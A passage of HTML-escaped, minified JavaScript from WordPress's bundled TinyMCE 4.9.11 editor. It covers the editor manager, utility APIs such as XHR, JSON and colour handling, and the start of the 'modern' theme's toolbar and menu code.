t!==e}),oN.activeEditor===t&amp;&amp;(oN.activeEditor=0&lt;xN.length?xN[0]:null),oN.focusedEditor===t&amp;&amp;(oN.focusedEditor=null),e.length!==xN.length};vN(oN={defaultSettings:{},$:gn,majorVersion:&quot;4&quot;,minorVersion:&quot;9.11&quot;,releaseDate:&quot;2020-07-13&quot;,editors:CN,i18n:xh,activeEditor:null,settings:{},setup:function(){var e,t,n=&quot;&quot;;t=zw.getDocumentBaseUrl(V.document.location),/^[^:]+:\/\/\/?[^\/]+\//.test(t)&amp;&amp;(t=t.replace(/[\?#].*$/,&quot;&quot;).replace(/[\/\\][^\/]+$/,&quot;&quot;),/[\/\\]$/.test(t)||(t+=&quot;/&quot;));var r=window.tinymce||window.tinyMCEPreInit;if(r)e=r.base||r.baseURL,n=r.suffix;else{for(var o=V.document.getElementsByTagName(&quot;script&quot;),i=0;i&lt;o.length;i++){var a;if(&quot;&quot;!==(a=o[i].src||&quot;&quot;)){var u=a.substring(a.lastIndexOf(&quot;/&quot;));if(/tinymce(\.full|\.jquery|)(\.min|\.dev|)\.js/.test(a)){-1!==u.indexOf(&quot;.min&quot;)&amp;&amp;(n=&quot;.min&quot;),e=a.substring(0,a.lastIndexOf(&quot;/&quot;));break}}}!e&amp;&amp;V.document.currentScript&amp;&amp;(-1!==(a=V.document.currentScript.src).indexOf(&quot;.min&quot;)&amp;&amp;(n=&quot;.min&quot;),e=a.substring(0,a.lastIndexOf(&quot;/&quot;)))}this.baseURL=new zw(t).toAbsolute(e),this.documentBaseURL=t,this.baseURI=new zw(this.baseURL),this.suffix=n,mN(this)},overrideDefaults:function(e){var t,n;(t=e.base_url)&amp;&amp;(this.baseURL=new zw(this.documentBaseURL).toAbsolute(t.replace(/\/+$/,&quot;&quot;)),this.baseURI=new zw(this.baseURL)),n=e.suffix,e.suffix&amp;&amp;(this.suffix=n);var r=(this.defaultSettings=e).plugin_base_urls;for(var o in r)Bi.PluginManager.urls[o]=r[o]},init:function(r){var n,u,s=this;u=Xt.makeMap(&quot;area base basefont br col frame hr img input isindex link meta param embed source wbr track colgroup option tbody tfoot thead tr script noscript style textarea video audio iframe object menu&quot;,&quot; &quot;);var c=function(e){var t=e.id;return t||(t=(t=e.name)&amp;&amp;!gN.get(t)?e.name:gN.uniqueId(),e.setAttribute(&quot;id&quot;,t)),t},l=function(e,t){return t.constructor===RegExp?t.test(e.className):gN.hasClass(e,t)},f=function(e){n=e},e=function(){var o,i=0,a=[],n=function(e,t,n){var r=new tN(e,t,s);a.push(r),r.on(&quot;init&quot;,function(){++i===o.length&amp;&amp;f(a)}),r.targetElm=r.targetElm||n,r.render()};gN.unbind(window,&quot;ready&quot;,e),function(e){var t=r[e];t&amp;&amp;t.apply(s,Array.prototype.slice.call(arguments,2))}(&quot;onpageload&quot;),o=gn.unique(function(t){var e,n=[];if(fe.ie&amp;&amp;fe.ie&lt;11)return kh.initError(&quot;TinyMCE does not support the browser you are using. For a list of supported browsers please see: https://www.tinymce.com/docs/get-started/system-requirements/&quot;),[];if(t.types)return hN(t.types,function(e){n=n.concat(gN.select(e.selector))}),n;if(t.selector)return gN.select(t.selector);if(t.target)return[t.target];switch(t.mode){case&quot;exact&quot;:0&lt;(e=t.elements||&quot;&quot;).length&amp;&amp;hN(pN(e),function(t){var e;(e=gN.get(t))?n.push(e):hN(V.document.forms,function(e){hN(e.elements,function(e){e.name===t&amp;&amp;(t=&quot;mce_editor_&quot;+yN++,gN.setAttrib(e,&quot;id&quot;,t),n.push(e))})})});break;case&quot;textareas&quot;:case&quot;specific_textareas&quot;:hN(gN.select(&quot;textarea&quot;),function(e){t.editor_deselector&amp;&amp;l(e,t.editor_deselector)||t.editor_selector&amp;&amp;!l(e,t.editor_selector)||n.push(e)})}return n}(r)),r.types?hN(r.types,function(t){Xt.each(o,function(e){return!gN.is(e,t.selector)||(n(c(e),vN({},r,t),e),!1)})}):(Xt.each(o,function(e){var t;(t=s.get(e.id))&amp;&amp;t.initialized&amp;&amp;!(t.getContainer()||t.getBody()).parentNode&amp;&amp;(EN(t),t.unbindAllNativeEvents(),t.destroy(!0),t.removed=!0,t=null)}),0===(o=Xt.grep(o,function(e){return!s.get(e.id)})).length?f([]):hN(o,function(e){var t;t=e,r.inline&amp;&amp;t.tagName.toLowerCase()in u?kh.initError(&quot;Could not initialize inline editor on invalid inline target element&quot;,e):n(c(e),r,e)}))};return s.settings=r,gN.bind(window,&quot;ready&quot;,e),new de(function(t){n?t(n):f=function(e){t(e)}})},get:function(t){return 0===arguments.length?xN.slice(0):S(t)?X(xN,function(e){return e.id===t}).getOr(null):O(t)&amp;&amp;xN[t]?xN[t]:null},add:function(e){var t=this;return CN[e.id]===e||(null===t.get(e.id)&amp;&amp;(&quot;length&quot;!==e.id&amp;&amp;(CN[e.id]=e),CN.push(e),xN.push(e)),NN(!0),t.activeEditor=e,t.fire(&quot;AddEditor&quot;,{editor:e}),rN||(rN=function(){t.fire(&quot;BeforeUnload&quot;)},gN.bind(window,&quot;beforeunload&quot;,rN))),e},createEditor:function(e,t){return this.add(new tN(e,t,this))},remove:function(e){var t,n,r=this;if(e){if(!S(e))return n=e,A(r.get(n.id))?null:(EN(n)&amp;&amp;r.fire(&quot;RemoveEditor&quot;,{editor:n}),0===xN.length&amp;&amp;gN.unbind(window,&quot;beforeunload&quot;,rN),n.remove(),NN(0&lt;xN.length),n);hN(gN.select(e),function(e){(n=r.get(e.id))&amp;&amp;r.remove(n)})}else for(t=xN.length-1;0&lt;=t;t--)r.remove(xN[t])},execCommand:function(e,t,n){var r=this.get(n);switch(e){case&quot;mceAddEditor&quot;:return this.get(n)||new tN(n,this.settings,this).render(),!0;case&quot;mceRemoveEditor&quot;:return r&amp;&amp;r.remove(),!0;case&quot;mceToggleEditor&quot;:return r?r.isHidden()?r.show():r.hide():this.execCommand(&quot;mceAddEditor&quot;,0,n),!0}return!!this.activeEditor&amp;&amp;this.activeEditor.execCommand(e,t,n)},triggerSave:function(){hN(xN,function(e){e.save()})},addI18n:function(e,t){xh.add(e,t)},translate:function(e){return xh.translate(e)},setActive:function(e){var t=this.activeEditor;this.activeEditor!==e&amp;&amp;(t&amp;&amp;t.fire(&quot;deactivate&quot;,{relatedTarget:e}),e.fire(&quot;activate&quot;,{relatedTarget:t})),this.activeEditor=e}},Cp),oN.setup();var SN,TN=oN;function kN(n){return{walk:function(e,t){return Lc(n,e,t)},split:Um,normalize:function(t){return Dg(n,t).fold(q(!1),function(e){return t.setStart(e.startContainer,e.startOffset),t.setEnd(e.endContainer,e.endOffset),!0})}}}(SN=kN||(kN={})).compareRanges=Eg,SN.getCaretRangeFromPoint=Bb,SN.getSelectedNode=Za,SN.getNode=eu;var _N,AN,RN=kN,DN=Math.min,ON=Math.max,BN=Math.round,PN=function(e,t,n){var r,o,i,a,u,s;return r=t.x,o=t.y,i=e.w,a=e.h,u=t.w,s=t.h,&quot;b&quot;===(n=(n||&quot;&quot;).split(&quot;&quot;))[0]&amp;&amp;(o+=s),&quot;r&quot;===n[1]&amp;&amp;(r+=u),&quot;c&quot;===n[0]&amp;&amp;(o+=BN(s/2)),&quot;c&quot;===n[1]&amp;&amp;(r+=BN(u/2)),&quot;b&quot;===n[3]&amp;&amp;(o-=a),&quot;r&quot;===n[4]&amp;&amp;(r-=i),&quot;c&quot;===n[3]&amp;&amp;(o-=BN(a/2)),&quot;c&quot;===n[4]&amp;&amp;(r-=BN(i/2)),IN(r,o,i,a)},IN=function(e,t,n,r){return{x:e,y:t,w:n,h:r}},LN={inflate:function(e,t,n){return IN(e.x-t,e.y-n,e.w+2*t,e.h+2*n)},relativePosition:PN,findBestRelativePosition:function(e,t,n,r){var o,i;for(i=0;i&lt;r.length;i++)if((o=PN(e,t,r[i])).x&gt;=n.x&amp;&amp;o.x+o.w&lt;=n.w+n.x&amp;&amp;o.y&gt;=n.y&amp;&amp;o.y+o.h&lt;=n.h+n.y)return r[i];return null},intersect:function(e,t){var n,r,o,i;return n=ON(e.x,t.x),r=ON(e.y,t.y),o=DN(e.x+e.w,t.x+t.w),i=DN(e.y+e.h,t.y+t.h),o-n&lt;0||i-r&lt;0?null:IN(n,r,o-n,i-r)},clamp:function(e,t,n){var r,o,i,a,u,s,c,l,f,d;return u=e.x,s=e.y,c=e.x+e.w,l=e.y+e.h,f=t.x+t.w,d=t.y+t.h,r=ON(0,t.x-u),o=ON(0,t.y-s),i=ON(0,c-f),a=ON(0,l-d),u+=r,s+=o,n&amp;&amp;(c+=r,l+=o,u-=i,s-=a),IN(u,s,(c-=i)-u,(l-=a)-s)},create:IN,fromClientRect:function(e){return IN(e.left,e.top,e.width,e.height)}},FN={},MN={add:function(e,t){FN[e.toLowerCase()]=t},has:function(e){return!!FN[e.toLowerCase()]},get:function(e){var t=e.toLowerCase(),n=FN.hasOwnProperty(t)?FN[t]:null;if(null===n)throw new Error(&quot;Could not find module for type: &quot;+e);return n},create:function(e,t){var n;if(&quot;string&quot;==typeof e?(t=t||{}).type=e:e=(t=e).type,e=e.toLowerCase(),!(n=FN[e]))throw new Error(&quot;Could not find control by type: &quot;+e);return(n=new n(t)).type=e,n}},zN=Xt.each,UN=Xt.extend,jN=function(){};jN.extend=_N=function(n){var e,t,r,o=this.prototype,i=function(){var e,t,n;if(!AN&amp;&amp;(this.init&amp;&amp;this.init.apply(this,arguments),t=this.Mixins))for(e=t.length;e--;)(n=t[e]).init&amp;&amp;n.init.apply(this,arguments)},a=function(){return this},u=function(n,r){return function(){var e,t=this._super;return this._super=o[n],e=r.apply(this,arguments),this._super=t,e}};for(t in AN=!0,e=new this,AN=!1,n.Mixins&amp;&amp;(zN(n.Mixins,function(e){for(var t in e)&quot;init&quot;!==t&amp;&amp;(n[t]=e[t])}),o.Mixins&amp;&amp;(n.Mixins=o.Mixins.concat(n.Mixins))),n.Methods&amp;&amp;zN(n.Methods.split(&quot;,&quot;),function(e){n[e]=a}),n.Properties&amp;&amp;zN(n.Properties.split(&quot;,&quot;),function(e){var t=&quot;_&quot;+e;n[e]=function(e){return e!==undefined?(this[t]=e,this):this[t]}}),n.Statics&amp;&amp;zN(n.Statics,function(e,t){i[t]=e}),n.Defaults&amp;&amp;o.Defaults&amp;&amp;(n.Defaults=UN({},o.Defaults,n.Defaults)),n)&quot;function&quot;==typeof(r=n[t])&amp;&amp;o[t]?e[t]=u(t,r):e[t]=r;return i.prototype=e,(i.constructor=i).extend=_N,i};var VN=Math.min,HN=Math.max,qN=Math.round,$N=function(e,n){var r,o,t,i;if(n=n||&#039;&quot;&#039;,null===e)return&quot;null&quot;;if(&quot;string&quot;==(t=typeof e))return o=&quot;\bb\tt\nn\ff\rr\&quot;\&quot;&#039;&#039;\\\\&quot;,n+e.replace(/([\u0080-\uFFFF\x00-\x1f\&quot;\&#039;\\])/g,function(e,t){return&#039;&quot;&#039;===n&amp;&amp;&quot;&#039;&quot;===e?e:(r=o.indexOf(t))+1?&quot;\\&quot;+o.charAt(r+1):(e=t.charCodeAt().toString(16),&quot;\\u&quot;+&quot;0000&quot;.substring(e.length)+e)})+n;if(&quot;object&quot;===t){if(e.hasOwnProperty&amp;&amp;&quot;[object Array]&quot;===Object.prototype.toString.call(e)){for(r=0,o=&quot;[&quot;;r&lt;e.length;r++)o+=(0&lt;r?&quot;,&quot;:&quot;&quot;)+$N(e[r],n);return o+&quot;]&quot;}for(i in o=&quot;{&quot;,e)e.hasOwnProperty(i)&amp;&amp;(o+=&quot;function&quot;!=typeof e[i]?(1&lt;o.length?&quot;,&quot;+n:n)+i+n+&quot;:&quot;+$N(e[i],n):&quot;&quot;);return o+&quot;}&quot;}return&quot;&quot;+e},WN={serialize:$N,parse:function(e){try{return JSON.parse(e)}catch(t){}}},KN={callbacks:{},count:0,send:function(t){var n=this,r=Si.DOM,o=t.count!==undefined?t.count:n.count,i=&quot;tinymce_jsonp_&quot;+o;n.callbacks[o]=function(e){r.remove(i),delete n.callbacks[o],t.callback(e)},r.add(r.doc.body,&quot;script&quot;,{id:i,src:t.url,type:&quot;text/javascript&quot;}),n.count++}},XN={send:function(e){var t,n=0,r=function(){!e.async||4===t.readyState||1e4&lt;n++?(e.success&amp;&amp;n&lt;1e4&amp;&amp;200===t.status?e.success.call(e.success_scope,&quot;&quot;+t.responseText,t,e):e.error&amp;&amp;e.error.call(e.error_scope,1e4&lt;n?&quot;TIMED_OUT&quot;:&quot;GENERAL&quot;,t,e),t=null):setTimeout(r,10)};if(e.scope=e.scope||this,e.success_scope=e.success_scope||e.scope,e.error_scope=e.error_scope||e.scope,e.async=!1!==e.async,e.data=e.data||&quot;&quot;,XN.fire(&quot;beforeInitialize&quot;,{settings:e}),t=Rh()){if(t.overrideMimeType&amp;&amp;t.overrideMimeType(e.content_type),t.open(e.type||(e.data?&quot;POST&quot;:&quot;GET&quot;),e.url,e.async),e.crossDomain&amp;&amp;(t.withCredentials=!0),e.content_type&amp;&amp;t.setRequestHeader(&quot;Content-Type&quot;,e.content_type),e.requestheaders&amp;&amp;Xt.each(e.requestheaders,function(e){t.setRequestHeader(e.key,e.value)}),t.setRequestHeader(&quot;X-Requested-With&quot;,&quot;XMLHttpRequest&quot;),(t=XN.fire(&quot;beforeSend&quot;,{xhr:t,settings:e}).xhr).send(e.data),!e.async)return r();setTimeout(r,10)}}};Xt.extend(XN,Cp);var YN,GN,JN,QN,ZN=Xt.extend,eE=function(e){this.settings=ZN({},e),this.count=0};eE.sendRPC=function(e){return(new eE).send(e)},eE.prototype={send:function(n){var r=n.error,o=n.success;(n=ZN(this.settings,n)).success=function(e,t){void 0===(e=WN.parse(e))&amp;&amp;(e={error:&quot;JSON Parse error.&quot;}),e.error?r.call(n.error_scope||n.scope,e.error,t):o.call(n.success_scope||n.scope,e.result)},n.error=function(e,t){r&amp;&amp;r.call(n.error_scope||n.scope,e,t)},n.data=WN.serialize({id:n.id||&quot;c&quot;+this.count++,method:n.method,params:n.params}),n.content_type=&quot;application/json&quot;,XN.send(n)}};try{YN=V.window.localStorage}catch(iE){GN={},JN=[],QN={getItem:function(e){var t=GN[e];return t||null},setItem:function(e,t){JN.push(e),GN[e]=String(t)},key:function(e){return JN[e]},removeItem:function(t){JN=JN.filter(function(e){return e===t}),delete GN[t]},clear:function(){JN=[],GN={}},length:0},Object.defineProperty(QN,&quot;length&quot;,{get:function(){return JN.length},configurable:!1,enumerable:!1}),YN=QN}var tE,nE=TN,rE={geom:{Rect:LN},util:{Promise:de,Delay:he,Tools:Xt,VK:rv,URI:zw,Class:jN,EventDispatcher:vp,Observable:Cp,I18n:xh,XHR:XN,JSON:WN,JSONRequest:eE,JSONP:KN,LocalStorage:YN,Color:function(e){var n={},u=0,s=0,c=0,t=function(e){var t;return&quot;object&quot;==typeof e?&quot;r&quot;in e?(u=e.r,s=e.g,c=e.b):&quot;v&quot;in e&amp;&amp;function(e,t,n){var r,o,i,a;if(e=(parseInt(e,10)||0)%360,t=parseInt(t,10)/100,n=parseInt(n,10)/100,t=HN(0,VN(t,1)),n=HN(0,VN(n,1)),0!==t){switch(r=e/60,i=(o=n*t)*(1-Math.abs(r%2-1)),a=n-o,Math.floor(r)){case 0:u=o,s=i,c=0;break;case 1:u=i,s=o,c=0;break;case 2:u=0,s=o,c=i;break;case 3:u=0,s=i,c=o;break;case 4:u=i,s=0,c=o;break;case 5:u=o,s=0,c=i;break;default:u=s=c=0}u=qN(255*(u+a)),s=qN(255*(s+a)),c=qN(255*(c+a))}else u=s=c=qN(255*n)}(e.h,e.s,e.v):(t=/rgb\s*\(\s*([0-9]+)\s*,\s*([0-9]+)\s*,\s*([0-9]+)[^\)]*\)/gi.exec(e))?(u=parseInt(t[1],10),s=parseInt(t[2],10),c=parseInt(t[3],10)):(t=/#([0-F]{2})([0-F]{2})([0-F]{2})/gi.exec(e))?(u=parseInt(t[1],16),s=parseInt(t[2],16),c=parseInt(t[3],16)):(t=/#([0-F])([0-F])([0-F])/gi.exec(e))&amp;&amp;(u=parseInt(t[1]+t[1],16),s=parseInt(t[2]+t[2],16),c=parseInt(t[3]+t[3],16)),u=u&lt;0?0:255&lt;u?255:u,s=s&lt;0?0:255&lt;s?255:s,c=c&lt;0?0:255&lt;c?255:c,n};return e&amp;&amp;t(e),n.toRgb=function(){return{r:u,g:s,b:c}},n.toHsv=function(){return e=u,t=s,n=c,o=0,(i=VN(e/=255,VN(t/=255,n/=255)))===(a=HN(e,HN(t,n)))?{h:0,s:0,v:100*(o=i)}:(r=(a-i)/a,{h:qN(60*((e===i?3:n===i?1:5)-(e===i?t-n:n===i?e-t:n-e)/((o=a)-i))),s:qN(100*r),v:qN(100*o)});var e,t,n,r,o,i,a},n.toHex=function(){var e=function(e){return 1&lt;(e=parseInt(e,10).toString(16)).length?e:&quot;0&quot;+e};return&quot;#&quot;+e(u)+e(s)+e(c)},n.parse=t,n}},dom:{EventUtils:Se,Sizzle:St,DomQuery:gn,TreeWalker:go,DOMUtils:Si,ScriptLoader:Ri,RangeUtils:RN,Serializer:Eb,ControlSelection:Db,BookmarkManager:_b,Selection:uC,Event:Se.Event},html:{Styles:gi,Entities:ti,Node:sb,Schema:di,SaxParser:Mv,DomParser:bb,Writer:il,Serializer:al},ui:{Factory:MN},Env:fe,AddOnManager:Bi,Annotator:Hc,Formatter:Gy,UndoManager:ry,EditorCommands:pp,WindowManager:yh,NotificationManager:vh,EditorObservable:Fp,Shortcuts:Qp,Editor:tN,FocusManager:iN,EditorManager:TN,DOM:Si.DOM,ScriptLoader:Ri.ScriptLoader,PluginManager:Bi.PluginManager,ThemeManager:Bi.ThemeManager,trim:Xt.trim,isArray:Xt.isArray,is:Xt.is,toArray:Xt.toArray,makeMap:Xt.makeMap,each:Xt.each,map:Xt.map,grep:Xt.grep,inArray:Xt.inArray,extend:Xt.extend,create:Xt.create,walk:Xt.walk,createNS:Xt.createNS,resolve:Xt.resolve,explode:Xt.explode,_addCacheSuffix:Xt._addCacheSuffix,isOpera:fe.opera,isWebKit:fe.webkit,isIE:fe.ie,isGecko:fe.gecko,isMac:fe.mac},oE=nE=Xt.extend(nE,rE);tE=oE,window.tinymce=tE,window.tinyMCE=tE,function(e){if(&quot;object&quot;==typeof module)try{module.exports=e}catch(t){}}(oE)}(window);
// Source: wp-includes/js/tinymce/themes/modern/theme.min.js
!function(_){&quot;use strict&quot;;var e,t,n,i,r=tinymce.util.Tools.resolve(&quot;tinymce.ThemeManager&quot;),l=tinymce.util.Tools.resolve(&quot;tinymce.EditorManager&quot;),w=tinymce.util.Tools.resolve(&quot;tinymce.util.Tools&quot;),d=function(e){return!1!==c(e)},c=function(e){return e.getParam(&quot;menubar&quot;)},f=function(e){return e.getParam(&quot;toolbar_items_size&quot;)},h=function(e){return e.getParam(&quot;menu&quot;)},m=function(e){return!1===e.settings.skin},g=function(e){var t=e.getParam(&quot;resize&quot;,&quot;vertical&quot;);return!1===t?&quot;none&quot;:&quot;both&quot;===t?&quot;both&quot;:&quot;vertical&quot;},p=tinymce.util.Tools.resolve(&quot;tinymce.dom.DOMUtils&quot;),v=tinymce.util.Tools.resolve(&quot;tinymce.ui.Factory&quot;),b=tinymce.util.Tools.resolve(&quot;tinymce.util.I18n&quot;),o=function(e){return e.fire(&quot;SkinLoaded&quot;)},y=function(e){return e.fire(&quot;ResizeEditor&quot;)},x=function(e){return e.fire(&quot;BeforeRenderUI&quot;)},s=function(t,n){return function(){var e=t.find(n)[0];e&amp;&amp;e.focus(!0)}},R=function(e,t){e.shortcuts.add(&quot;Alt+F9&quot;,&quot;&quot;,s(t,&quot;menubar&quot;)),e.shortcuts.add(&quot;Alt+F10,F10&quot;,&quot;&quot;,s(t,&quot;toolbar&quot;)),e.shortcuts.add(&quot;Alt+F11&quot;,&quot;&quot;,s(t,&quot;elementpath&quot;)),t.on(&quot;cancel&quot;,function(){e.focus()})},C=tinymce.util.Tools.resolve(&quot;tinymce.geom.Rect&quot;),u=tinymce.util.Tools.resolve(&quot;tinymce.util.Delay&quot;),E=function(){},k=function(e){return function(){return e}},a=k(!1),H=k(!0),S=function(){return T},T=(e=function(e){return e.isNone()},i={fold:function(e,t){return e()},is:a,isSome:a,isNone:H,getOr:n=function(e){return e},getOrThunk:t=function(e){return e()},getOrDie:function(e){throw new Error(e||&quot;error: getOrDie called on none.&quot;)},getOrNull:k(null),getOrUndefined:k(undefined),or:n,orThunk:t,map:S,each:E,bind:S,exists:a,forall:H,filter:S,equals:e,equals_:e,toArray:function(){return[]},toString:k(&quot;none()&quot;)},Object.freeze&amp;&amp;Object.freeze(i),i),M=function(n){var e=k(n),t=function(){return r},i=function(e){return e(n)},r={fold:function(e,t){return t(n)},is:function(e){return n===e},isSome:H,isNone:a,getOr:e,getOrThunk:e,getOrDie:e,getOrNull:e,getOrUndefined:e,or:t,orThunk:t,map:function(e){return M(e(n))},each:function(e){e(n)},bind:i,exists:i,forall:i,filter:function(e){return e(n)?r:T},toArray:function(){return[n]},toString:function(){return&quot;some(&quot;+n+&quot;)&quot;},equals:function(e){return e.is(n)},equals_:function(e,t){return e.fold(a,function(e){return t(n,e)})}};return r},N={some:M,none:S,from:function(e){return null===e||e===undefined?T:M(e)}},P=function(e){return e?e.getRoot().uiContainer:null},W={getUiContainerDelta:function(e){var t=P(e);if(t&amp;&amp;&quot;static&quot;!==p.DOM.getStyle(t,&quot;position&quot;,!0)){var n=p.DOM.getPos(t),i=t.scrollLeft-n.x,r=t.scrollTop-n.y;return N.some({x:i,y:r})}return N.none()},setUiContainer:function(e,t){var n=p.DOM.select(e.settings.ui_container)[0];t.getRoot().uiContainer=n},getUiContainer:P,inheritUiContainer:function(e,t){return t.uiContainer=P(e)}},D=function(i,e,r){var o,s=[];if(e)return w.each(e.split(/[ ,]/),function(t){var e,n=function(){var e=i.selection;t.settings.stateSelector&amp;&amp;e.selectorChanged(t.settings.stateSelector,function(e){t.active(e)},!0),t.settings.disabledStateSelector&amp;&amp;e.selectorChanged(t.settings.disabledStateSelector,function(e){t.disabled(e)})};&quot;|&quot;===t?o=null:(o||(o={type:&quot;buttongroup&quot;,items:[]},s.push(o)),i.buttons[t]&amp;&amp;(e=t,&quot;function&quot;==typeof(t=i.buttons[e])&amp;&amp;(t=t()),t.type=t.type||&quot;button&quot;,t.size=r,t=v.create(t),o.items.push(t),i.initialized?n():i.on(&quot;init&quot;,n)))}),{type:&quot;toolbar&quot;,layout:&quot;flow&quot;,items:s}},O=D,A=function(n,i){var e,t,r=[];if(w.each(!1===(t=(e=n).getParam(&quot;toolbar&quot;))?[]:w.isArray(t)?w.grep(t,function(e){return 0&lt;e.length}):function(e,t){for(var n=[],i=1;i&lt;10;i++){var r=e[&quot;toolbar&quot;+i];if(!r)break;n.push(r)}var o=e.toolbar?[e.toolbar]:[t];return 0&lt;n.length?n:o}(e.settings,&quot;undo redo | styleselect | bold italic | alignleft aligncenter alignright alignjustify | bullist numlist outdent indent | link image&quot;),function(e){var t;(t=e)&amp;&amp;r.push(D(n,t,i))}),r.length)return{type:&quot;panel&quot;,layout:&quot;stack&quot;,classes:&quot;toolbar-grp&quot;,ariaRoot:!0,ariaRemember:!0,items:r}},B=p.DOM,L=function(e){return{left:e.x,top:e.y,width:e.w,height:e.h,right:e.x+e.w,bottom:e.y+e.h}},z=function(e,t){e.moveTo(t.left,t.top)},I=function(e,t,n,i,r,o){return o=L({x:t,y:n,w:o.w,h:o.h}),e&amp;&amp;(o=e({elementRect:L(i),contentAreaRect:L(r),panelRect:o})),o},F=function(x){var i,o=function(){return x.contextToolbars||[]},n=function(e,t){var n,i,r,o,s,a,l,u=x.getParam(&quot;inline_toolbar_position_handler&quot;);if(!x.removed){if(!e||!e.toolbar.panel)return c=x,void w.each(c.contextToolbars,function(e){e.panel&amp;&amp;e.panel.hide()});var c,d,f,h,m;l=[&quot;bc-tc&quot;,&quot;tc-bc&quot;,&quot;tl-bl&quot;,&quot;bl-tl&quot;,&quot;tr-br&quot;,&quot;br-tr&quot;],s=e.toolbar.panel,t&amp;&amp;s.show(),d=e.element,f=B.getPos(x.getContentAreaContainer()),h=x.dom.getRect(d),&quot;BODY&quot;===(m=x.dom.getRoot()).nodeName&amp;&amp;(h.x-=m.ownerDocument.documentElement.scrollLeft||m.scrollLeft,h.y-=m.ownerDocument.documentElement.scrollTop||m.scrollTop),h.x+=f.x,h.y+=f.y,r=h,i=B.getRect(s.getEl()),o=B.getRect(x.getContentAreaContainer()||x.getBody());var g,p,v,b=W.getUiContainerDelta(s).getOr({x:0,y:0});if(r.x+=b.x,r.y+=b.y,i.x+=b.x,i.y+=b.y,o.x+=b.x,o.y+=b.y,&quot;inline&quot;!==B.getStyle(e.element,&quot;display&quot;,!0)){var y=e.element.getBoundingClientRect();r.w=y.width,r.h=y.height}x.inline||(o.w=x.getDoc().documentElement.offsetWidth),x.selection.controlSelection.isResizable(e.element)&amp;&amp;r.w&lt;25&amp;&amp;(r=C.inflate(r,0,8)),n=C.findBestRelativePosition(i,r,o,l),r=C.clamp(r,o),n?(a=C.relativePosition(i,r,n),z(s,I(u,a.x,a.y,r,o,i))):(o.h+=i.h,(r=C.intersect(o,r))?(n=C.findBestRelativePosition(i,r,o,[&quot;bc-tc&quot;,&quot;bl-tl&quot;,&quot;br-tr&quot;]))?(a=C.relativePosition(i,r,n),z(s,I(u,a.x,a.y,r,o,i))):z(s,I(u,r.x,r.y,r,o,i)):s.hide()),g=s,v=function(e,t){return e===t},p=(p=n)?p.substr(0,2):&quot;&quot;,w.each({t:&quot;down&quot;,b:&quot;up&quot;},function(e,t){g.classes.toggle(&quot;arrow-&quot;+e,v(t,p.substr(0,1)))}),w.each({l:&quot;left&quot;,r:&quot;right&quot;},function(e,t){g.classes.toggle(&quot;arrow-&quot;+e,v(t,p.substr(1,1)))})}},r=function(e){return function(){u.requestAnimationFrame(function(){x.selection&amp;&amp;n(a(x.selection.getNode()),e)})}},t=function(e){var t;if(e.toolbar.panel)return e.toolbar.panel.show(),void n(e);t=v.create({type:&quot;floatpanel&quot;,role:&quot;dialog&quot;,classes:&quot;tinymce tinymce-inline arrow&quot;,ariaLabel:&quot;Inline toolbar&quot;,layout:&quot;flex&quot;,direction:&quot;column&quot;,align:&quot;stretch&quot;,autohide:!1,autofix:!0,fixed:!0,border:1,items:O(x,e.toolbar.items),oncancel:function(){x.focus()}}),W.setUiContainer(x,t),function(e){if(!i){var t=r(!0),n=W.getUiContainer(e);i=x.selection.getScrollContainer()||x.getWin(),B.bind(i,&quot;scroll&quot;,t),B.bind(n,&quot;scroll&quot;,t),x.on(&quot;remove&quot;,function(){B.unbind(i,&quot;scroll&quot;,t),B.unbind(n,&quot;scroll&quot;,t)})}}(t),(e.toolbar.panel=t).renderTo().reflow(),n(e)},s=function(){w.each(o(),function(e){e.panel&amp;&amp;e.panel.hide()})},a=function(e){var t,n,i,r=o();for(t=(i=x.$(e).parents().add(e)).length-1;0&lt;=t;t--)for(n=r.length-1;0&lt;=n;n--)if(r[n].predicate(i[t]))return{toolbar:r[n],element:i[t]};return null};x.on(&quot;click keyup setContent ObjectResized&quot;,function(e){(&quot;setcontent&quot;!==e.type||e.selection)&amp;&amp;u.setEditorTimeout(x,function(){var e;(e=a(x.selection.getNode()))?(s(),t(e)):s()})}),x.on(&quot;blur hide contextmenu&quot;,s),x.on(&quot;ObjectResizeStart&quot;,function(){var e=a(x.selection.getNode());e&amp;&amp;e.toolbar.panel&amp;&amp;e.toolbar.panel.hide()}),x.on(&quot;ResizeEditor ResizeWindow&quot;,r(!0)),x.on(&quot;nodeChange&quot;,r(!1)),x.on(&quot;remove&quot;,function(){w.each(o(),function(e){e.panel&amp;&amp;e.panel.remove()}),x.contextToolbars={}}),x.shortcuts.add(&quot;ctrl+F9&quot;,&quot;&quot;,function(){var e=a(x.selection.getNode());e&amp;&amp;e.toolbar.panel&amp;&amp;e.toolbar.panel.items()[0].focus()})},U=function(t){return function(e){return function(e){if(null===e)return&quot;null&quot;;var t=typeof e;return&quot;object&quot;===t&amp;&amp;(Array.prototype.isPrototypeOf(e)||e.constructor&amp;&amp;&quot;Array&quot;===e.constructor.name)?&quot;array&quot;:&quot;object&quot;===t&amp;&amp;(String.prototype.isPrototypeOf(e)||e.constructor&amp;&amp;&quot;String&quot;===e.constructor.name)?&quot;string&quot;:t}(e)===t}},V=U(&quot;array&quot;),Y=U(&quot;function&quot;),$=U(&quot;number&quot;),q=(Array.prototype.slice,Array.prototype.indexOf),X=Array.prototype.push,j=function(e,t){var n,i,r=(n=e,i=t,q.call(n,i));return-1===r?N.none():N.some(r)},J=function(e,t){for(var n=0,i=e.length;n&lt;i;n++)if(t(e[n],n))return!0;return!1},G=function(e,t){for(var n=e.length,i=new Array(n),r=0;r&lt;n;r++){var o=e[r];i[r]=t(o,r)}return i},K=function(e,t){for(var n=0,i=e.length;n&lt;i;n++)t(e[n],n)},Z=function(e,t){for(var n=[],i=0,r=e.length;i&lt;r;i++){var o=e[i];t(o,i)&amp;&amp;n.push(o)}return n},Q=(Y(Array.from)&amp;&amp;Array.from,{file:{title:&quot;File&quot;,items:&quot;newdocument restoredraft | preview | print&quot;},edit:{title:&quot;Edit&quot;,items:&quot;undo redo | cut copy paste pastetext | selectall&quot;},view:{title:&quot;View&quot;,items:&quot;code | visualaid visualchars visualblocks | spellchecker | preview fullscreen&quot;},insert:{title:&quot;Insert&quot;,items:&quot;image link media template codesample inserttable | charmap hr | pagebreak nonbreaking anchor toc | insertdatetime&quot;},format:{title:&quot;Format&quot;,items:&quot;bold italic underline strikethrough superscript subscript codeformat | blockformats align | removeformat&quot;},tools:{title:&quot;Tools&quot;,items:&quot;spellchecker spellcheckerlanguage | a11ycheck 